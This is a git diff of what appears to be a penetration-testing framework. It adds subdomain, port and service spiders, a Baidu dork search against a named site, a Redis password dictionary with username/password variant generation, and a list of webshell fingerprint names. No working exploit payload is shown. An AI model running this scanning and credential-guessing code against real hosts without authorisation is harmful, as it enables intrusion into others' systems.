z+4u*(0p$<)0wyGUU8Evx>0IBVbMC{h?vv{sd7fjagTGh8`oJrn9;k#H9L2^VL>!|4
z>4*cYBMFGWL-WNDxNWuVk`d%~3{JRtZ*Wu4I}+rD!>vm!cR6ktzWoXHeUzcgYt~|g=})PQf)g-L_=>U
z=fOS$P*!l3*)7p)_PLw|Y7SspL1zETp^>Zs=zYhazl?5nuK7(Ywy;tpKv7JQy0}P+
H3l#kT!6avv
diff --git a/Spider/__pycache__/DnsDataSpider.cpython-38.pyc b/Spider/__pycache__/DnsDataSpider.cpython-38.pyc
index ea5b84ebcfeee4f34429458ca2f98a2715cd1e0e..a1e5e31887e8333fa5c7f3d4ee05ba859b2ec0f7 100644
GIT binary patch
delta 603
zcmY*W&ubGw6yBHYkJ%rSwrqux+G+)bG|6HJ6cH`87b%ohsJ$#mNjoD>-A%%5Lg~34
zyoR~yrQWPVdhoJ0PvX_Tpz|h&&{_C+``-J$_q~~)@t>F;QyN(M)Vo`~tqEO&
zY|?DKbHQR3b22X{sc&L83-T}x!Fp{mkC9InBfN4|O(Ra3|FI%J@Q4Lha9#Um>HhG@
zYDE7~w*e(=Y6y0F1wR@J#^sMMD*%z2!gB{l*QWpB5P+)P>h|iQPDlewIx2$;DMtL{
zy~y~o`da@C)>K~(RAPW
z3}CC@ZsJBrYb)Ptb|{7&gaqNKh7v>x=QBHVPi|qh=qm1gfASK0pJ`}-GzxbomUi9~
z{kN)1_U_@X@-YJ1kcPRVCM0gpIW?@{=8|YY!2)RnBA3+264{VM-H?^$LP=*XlHvGN
zU&KtUs#{Z1@QnAxIF~m5-d7zz4$lU8KIkW>m(o!!|6%Crl5Al8fv(rzB<2!5%;I4A
i3SkFf?#)EzRmh8cz{VNh#(@RqwZTdR=Cc9kwp(nVa#TxkeVN5vSrar
z5B1=+%vsQzSE;@D4|wt)n472K$-h8wUJ9jj2EGjMedqJuoB196jKWu8*s;ta{}z(j
z!|)osIb7^NalzsiZ|Ah|h8|c?El#-m!Q!sy9N0r&1f0HY$t~e??*KlBUo7MA46L62
z2U$JPaOd0iSpZ-Cf`@I-#KNPX^#UMJTlU)3OC}&2nKCEcnaFG`*mjnSNFCcJFrz*>
zm&qKui2C95!BHp9#{B@z?nqXXT1f4TMX{^Bow_O+PsYh9@Qf<^#yx+u-Tnw*tG^^B
zKJxnNrn|U;B)N=o7iGzahD^iG1&Ai~ZpMYYr}o{iw^z~oz(@~dL%1-9QzThAP|xYJ
zeH>ZdLcum5#EBPwF}qdCu6mav}QgIiza@@il%7g@Dj5ou>0mTvNud3S;lx
za+IcVT5k5bdiu1@_;FH;f$2CBa!6~Di!$3Qq-{9EIrY+u{In{Hs*FePq@y;x8-ClQ
zE7#G71Dxyl?5QFwJItVs-PfPy@}#9O@?i7^21CP>5aY6
z8?U5{;)CpM!B_A)-~;#wdLf=Oi>-ltIp;fn-<-+sh0lZFMG*Kccm~7uc;_%Uf3O2i
z+DeINJ;$#lNNz*dBJEPIX}o
zWA3<0dQ(E>6C??<_LVPra+dHYUv?%m74P#bcT5K~LC8
zADG6@vm)~AvW~@ra$MBX)f11=4Ty!loYRZ`s{6>)>&O1$RP(WLc?Kf4^}he*I$ClG
zps^LNn~vn_3G6N;<``4O$8}9RkFz4yo87GgyaKs`fHO@;`3(C6j3pvgD&ayf_Fson
zn1=_K6aecL{%Vx;D4nGX^s?a_${0>zEbKLbGJnBZHQp6jG96+=P2{RkR_~2>rCAhS
zmvoW;SCEu>UKX+gT+OnA@Ot@-iI@eisKQTrwyleRz9>+WnW5
F`~}%*u+jhk
delta 795
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
literal 154
zcmWIL<>g`kg0B4|YH@Z+enCubWpQ$1o^EbpaY<@XOmIPF3XqDA2dXTIkJl@x
Vyv1RYo1apelWGSt_%jeQ0091yCL;g<
diff --git a/Test.py b/Test.py
index e3c971e..51f2296 100644
--- a/Test.py
+++ b/Test.py
@@ -3,9 +3,9 @@
# @Time : 2021-08-25 1:14
import asyncio
+import os
import time
-
# async def test(queue: asyncio.Queue):
# while 1:
# item = await queue.get()
@@ -30,7 +30,30 @@
# k.cancel()
#
# await asyncio.gather(*taskList, return_exceptions=True)
+from urllib.parse import quote
+
import aiohttp
+from aiohttp import ClientSession
+from bs4 import BeautifulSoup
+
+from core.utils.InformationProvider import InformationProvider
+
+
+async def _baidu(search, page):
+ async with ClientSession() as session:
+ for n in range(0, page * 10, 10):
+ base_url = 'https://www.baidu.com/s?wd=' + str(quote(search)) + '&oq=' + str(
+ quote(search)) + '&ie=utf-8' + '&pn=' + str(n)
+ async with session.get(url=base_url) as response:
+ if response:
+ res = await response.text()
+ print(res)
+ soup = BeautifulSoup(res, "html.parser")
+ for a in soup.select('div.c-container > h3 > a'):
+ async with session.get(url=a['href']) as response:
+ if response:
+ url = str(response.url)
+ yield url
async def test02():
@@ -41,18 +64,47 @@ async def test02():
return 1
+
def test01():
try:
- a = 1/0
+ a = 1 / 0
except:
return 1
finally:
print(22)
+def test02():
+ try:
+ print(1 == 1)
+ except:
+ pass
+ finally:
+ print(2)
+ return 3
+
+
+async def test():
+ async for url in _baidu("inurl:nbcc.cn", 5):
+ print(url)
+
+
+def test0202():
+ passwordDict = InformationProvider.readFile(os.path.join(InformationProvider.dictPath, 'redis_passwords.txt'))
+ print(list(passwordDict))
+
+
+def test0303():
+ raise ConnectionResetError("aaaaaaaaaaaa")
+
+
if __name__ == '__main__':
- b = test01()
- print(b)
+ # l = asyncio.get_event_loop()
+ # l.run_until_complete(test())
+ try:
+ test0303()
+ except:
+ pass
# start = time.time()
# asyncio.run(test02())
# print(time.time() - start)
diff --git a/batch.py b/batch.py
index bf4a24b..5d2b414 100644
--- a/batch.py
+++ b/batch.py
@@ -23,6 +23,7 @@
from exploit.CmsExploit import *
from exploit.SQLExploit import *
from exploit.ServiceExploit import *
+
from threading import Thread
import os
@@ -30,6 +31,7 @@
import time
import sys
import asyncio
+import importlib
from IPy import IP
if sys.platform == 'win32':
@@ -43,6 +45,7 @@
gIpList = [] # 用来统计gIpSegmentDict
gIpPortList = [] # 存储端口+服务
gTopDomainList = [] # 存储顶级域名记录 @ske
+gPortRegister = [] # 存储用于portSpider模块中要扫描的端口
# Spider
@@ -53,8 +56,8 @@ def __init__(self, domain):
self.domainList = [] # 用来存储所有匹配到的子域名和一些隐形资产
self.ipPortServiceList = []
self.webParamsList = [] # 存储可注入探测参数列表 ["http://www.baidu.com/?id=1111*"]
- self.javaScriptParamList = [] # 存储js文件中的js敏感接口 @小洲
- self.clearTaskList = [] # 存储整理过后的域名 [{"subdomain": "www.ncist.edu.cn","ip": "1.1.1.1","port":[7777,8888]}]
+ self.javaScriptParamList = [] # 存储js文件中的js敏感接口 @小洲师傅
+ self.clearTaskList = [] # 存储整理过后的域名 [{"subdomain": "www.zjhu.edu.cn","ip": "1.1.1.1","port":[7777,8888]}]
self.lock = threading.Lock()
# github spider
@@ -102,7 +105,7 @@ def bingSpider(self):
def thirdSpider(self):
logging.info("thirdSpider Start")
sys.path.append(thirdLib)
- thirdList = filter(lambda x: (True, False)[x[-3:] == 'pyc' or x[-5:] == '__.py' or x[:2] == '__'],
+ thirdModuleList = filter(lambda x: (True, False)[x[-3:] == 'pyc' or x[-5:] == '__.py' or x[:2] == '__'],
os.listdir(thirdLib))
async def do(future, domain):
@@ -113,8 +116,8 @@ async def do(future, domain):
loop = asyncio.get_event_loop()
asyncio.set_event_loop(loop)
taskList = []
- for _ in thirdList:
- module = __import__(_[:-3])
+ for _ in thirdModuleList:
+ module = importlib.import_module(_[:-3])
if hasattr(module, 'do'):
doMethod = getattr(module, 'do')
# do(doMethod, self.domain)
@@ -244,9 +247,12 @@ def ip2domain(self):
def ipPortSpider(self):
logging.info("portSpider Start")
global gIpPortList
- portscan = PortScan(self.domain, gIpPortList)
+ portscan = PortScan(self.domain, gIpPortList, gPortRegister)
loop = asyncio.get_event_loop()
- self.ipPortServiceList = loop.run_until_complete(portscan.main())
+ self.ipPortServiceList, httpList = loop.run_until_complete(portscan.main())
+ self.lock.acquire()
+ self.domainList.extend(httpList)
+ self.lock.release()
# 存活探测,限制并发数
def aliveSpider(self):
@@ -254,11 +260,13 @@ def aliveSpider(self):
aliveSpider = AliveSpider(self.domain, self.domainList)
loop = asyncio.get_event_loop()
resList = loop.run_until_complete(aliveSpider.main())
- self.paramsList.extend(resList)
+ self.lock.acquire()
+ self.webParamsList.extend(resList)
+ self.lock.release()
# main start
def run(self):
- # 检查cdn @author ske大师兄
+ # 检查cdn @author ske(大师兄)
def checkCdn(domain):
logging.info("checkCdn start")
@@ -404,7 +412,7 @@ def flushAsn(domain):
# 8、ip2domain
self.ip2domain()
- # 9、sslSpider @keefe @行牛 2021.09.01 SSL
+ # 9、sslSpider @keefe @行牛 @ske 2021.09.01 SSL
# self.sslSpider()
# 10、alive
@@ -443,11 +451,11 @@ def flushAsn(domain):
# Exploit
class Exploit(object):
- def __init__(self, domain, domainList, IpPortList, webParamsList):
+ def __init__(self, domain, domainList, ipPortServiceList, webParamsList):
self.threadList = list()
self.domain = domain
self.domainList = domainList
- self.IpPortList = IpPortList
+ self.ipPortServiceList = ipPortServiceList
self.webParamsList = webParamsList
def AliveScan(self):
@@ -486,25 +494,25 @@ def sqlExploit(self):
# 基于网站框架的漏扫
def webExploit(self):
logging.info("CmsScan Start")
- queue = asyncio.Queue(-1)
- for aTask in self.domainList:
- aIp = aTask.get('ip')
- aPortList = aTask.get('port')
- for port in aPortList:
- queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可.
+
+ # queue = asyncio.Queue(-1)
+ # for aTask in self.domainList:
+ # aIp = aTask.get('ip')
+ # aPortList = aTask.get('port')
+ # for port in aPortList:
+ # queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可.
# IpUnauth(self.domain, queue).main()
# 基于端口服务的漏扫
def serviceExploit(self):
logging.info("ServiceScan Start")
- # [{"subdomain": "www.zjhu.edu.cn","ip": "1.1.1.1","port":[7777,8888]}]
- queue = asyncio.Queue(-1)
- for aTask in self.IpPortList:
- aIp = aTask.get('ip')
- aPortList = aTask.get('port')
- for port in aPortList:
- queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可.
- # IpUnauth(self.domain, queue).main()
+ total = 0
+ for targetService in self.ipPortServiceList:
+ total += len(targetService['ip'])
+ pbar = tqdm(total=total, desc="ServiceScan", ncols=150) # total是总数
+ servicescan = PortServiceScan(self.domain, self.ipPortServiceList, pbar)
+ loop = asyncio.get_event_loop()
+ loop.run_until_complete(servicescan.main())
def run(self):
def init():
@@ -516,11 +524,18 @@ def init():
# self.thread_list.append(Thread(target=self.HttpUnauthScan)) # 未授权扫描http域名
# self.thread_list.append(Thread(target=self.SqlScan)) # SQL注入扫描
- for i in self.threadList:
- i.start()
+ # webExp
+ self.webExploit()
+ # serviceExp
+ self.serviceExploit()
+ # sqlExp
+ self.sqlExploit()
- for i in self.threadList:
- i.join()
+ # for i in self.threadList:
+ # i.start()
+ #
+ # for i in self.threadList:
+ # i.join()
def parse_args():
@@ -539,12 +554,14 @@ def parse_args():
''')
starttime = time.time()
args = parse_args()
+ g_domain = args.domain
+ # g_portregisterType = args.
if args.domain:
if not os.path.exists(abs_path + args.domain + ".xlsx"):
createXlsx(args.domain)
spider = Spider(args.domain)
- domainList, ipPortList, webParamsList = spider.run()
- exploit = Exploit(args.domain, domainList, ipPortList, webParamsList)
+ domainList, ipPortServiceList, webParamsList = spider.run()
+ exploit = Exploit(args.domain, domainList, ipPortServiceList, webParamsList)
exploit.run()
else:
print('文件{}.xlsx已存在,如果要运行的话需要将该文件{}.xlsx改名或者删除.'.format(args.domain, args.domain))
diff --git a/common/Crawl.py b/common/Crawl.py
index e755f74..93c2a30 100644
--- a/common/Crawl.py
+++ b/common/Crawl.py
@@ -1,4 +1,6 @@
-
+# coding=utf-8
+# @Author : zpchcbd HG team
+# @Time : 2021-09-06 22:14
class Crawl(object):
- pass
+ pass
\ No newline at end of file
diff --git a/common/crawl.py b/common/crawl.py
new file mode 100644
index 0000000..93c2a30
--- /dev/null
+++ b/common/crawl.py
@@ -0,0 +1,6 @@
+# coding=utf-8
+# @Author : zpchcbd HG team
+# @Time : 2021-09-06 22:14
+
+class Crawl(object):
+ pass
\ No newline at end of file
diff --git a/core/MyModuleLoader.py b/core/MyModuleLoader.py
new file mode 100644
index 0000000..daaac94
--- /dev/null
+++ b/core/MyModuleLoader.py
@@ -0,0 +1,21 @@
+# coding=utf-8
+# @Author : zpchcbd HG team
+# @Time : 2021-09-07 16:47
+
+import importlib
+
+
+# exp loader
+class ModuleLoader(object):
+
+ def _moduleLoad(self, modules):
+ pass
+
+ def singleModuleLoad(self):
+ pass
+
+ def multiModuleLoad(self):
+ pass
+
+ def defaultModuleLoad(self):
+ pass
diff --git a/core/hackrequest.py b/core/MyRequest.py
similarity index 100%
rename from core/hackrequest.py
rename to core/MyRequest.py
diff --git a/core/Mydict.py b/core/Mydict.py
new file mode 100644
index 0000000..9101bbb
--- /dev/null
+++ b/core/Mydict.py
@@ -0,0 +1,6 @@
+# coding=utf-8
+# @Author : zpchcbd HG team
+# @Time : 2021-09-06 20:48
+
+class Mydict(dict):
+ pass
\ No newline at end of file
diff --git a/core/Mylist.py b/core/Mylist.py
new file mode 100644
index 0000000..cef85c7
--- /dev/null
+++ b/core/Mylist.py
@@ -0,0 +1,6 @@
+# coding=utf-8
+# @Author : zpchcbd HG team
+# @Time : 2021-09-06 20:49
+
+class Mylist(list):
+ pass
diff --git a/core/__pycache__/hackrequest.cpython-38.pyc b/core/__pycache__/MyRequest.cpython-38.pyc
similarity index 98%
rename from core/__pycache__/hackrequest.cpython-38.pyc
rename to core/__pycache__/MyRequest.cpython-38.pyc
index 07eb1571e5cd005b2bff69575ec0ffdcff1f58c2..2a537e3b2e5c45e0aca5209df34bb052681b4ee0 100644
GIT binary patch
delta 36
rcmZ1|H(zeUQbuuk7poXYAD@`q%Hrh2yqM(tqSP4Q%An2r7?XJc>+=l$
delta 38
tcmbO)w@_}wQbtKd7poXYAD@`q%Hrh2yqM(tqSTm-#N_Ov&3hP=c>xIj4e 2:
+ password2 = password[0].upper() + password[1:]
+ if password2 != password:
+ yield username, password2
+
+ @staticmethod
+ def getRedisInfor():
+ pass
+
+ @staticmethod
+ def getMysqlInfor():
+ pass
+
+ @staticmethod
+ def getMongodbInfor():
+ pass
+
+ @staticmethod
+ def getRdpInfor():
+ pass
+
+ @staticmethod
+ def getRsyncInfor():
+ pass
+
+ @staticmethod
+ def getMssqlInfor():
+ pass
+
+ @staticmethod
+ def getMysqXlInfor():
+ pass
+
+ @staticmethod
+ def getXXXXInfor():
+ pass
+
+ @staticmethod
+ def getXXXInfor():
+ pass
diff --git a/core/utils/__pycache__/InformationProvider.cpython-38.pyc b/core/utils/__pycache__/InformationProvider.cpython-38.pyc
new file mode 100644
index 0000000000000000000000000000000000000000..bbf3be308e38f314ec021ba55093bb03efc44721
GIT binary patch
literal 2443
zcmb_eO>Y}T7@m*ydhM*8me7w>rk~{C0~ioRPytFs098t&l0X}+j4anPNjJ53otZVr
z*81df=E~6#r(XF9{EWGB%0ECo@xEhivj`hiaz~nHpP6}Qo_XheJ>wrLl`?_y$KRi{
zkBfx-g^hf1ps@*6*8l_&v`Yf=EfGxc=R|NxCp=(+?vuK61{P$ugP1QI8k=C2`sERp3{|Rm(4kb=dtiv-Ti5j8(6lgmLsx#Xp5YDnr%i`qsV1
z{q5~WZ>T%%s3F2m(g@E@I~3f?3Il@Y`4v?CDL_Jw>6E49l&X&to|42lE=<_3m&Y`v
zQ}>iSCXC!A-;q7?JK4A2132Y<@`CQxi-yJ8IQ@3=)VQHO47<`eabHFXWsHX%-w*rJ
zl$30XZWu{jXS438-IInMz96asrY{>?_nP2BbLK*`6D!#qBw<%K=lJ}7e`q{h@f%pb
zijH^yg!!~euhCI$-jvL|gFDMg0f-9~GeZ9fkdTC?5b6mX&p0sP(6>c?oQ_$_rjQtd
zo#GeL1HSx}Or28#V-##gV@Q^iKP#%el#hAjryMMu6fDQw^7*rQ%2IyF9uZ2CLdqvp
z6rMS1Gv&fvCm04`ML~XH>*NX_0r;1j5#FS!7StM=hSa6IQ5+Q((*pYA3(8EU+2Vc
zE)aiZytFhXTc-RVr@ScHGTYtyMdP(vc=5Gbrrc`vVln6<_gk%#LAyH}Q6*T@c=+x<
z#HY~L3B1vro=l#`LaoA}!v7}f9fa!$HxO
+jsp File browser
+JspWebshell
+PHPShell
+phpRemoteView
+JspSpy
+Mini Php Shell
+r57Shell
+Simple CGI backdoor by DK
+JFolder
+NIX REMOTE WEB-SHELL
+Execute Shell Command
+PGTools
+PhpShell \d\.\d
+cmd\.jsp
+# c99
+c99shell
+- c99shell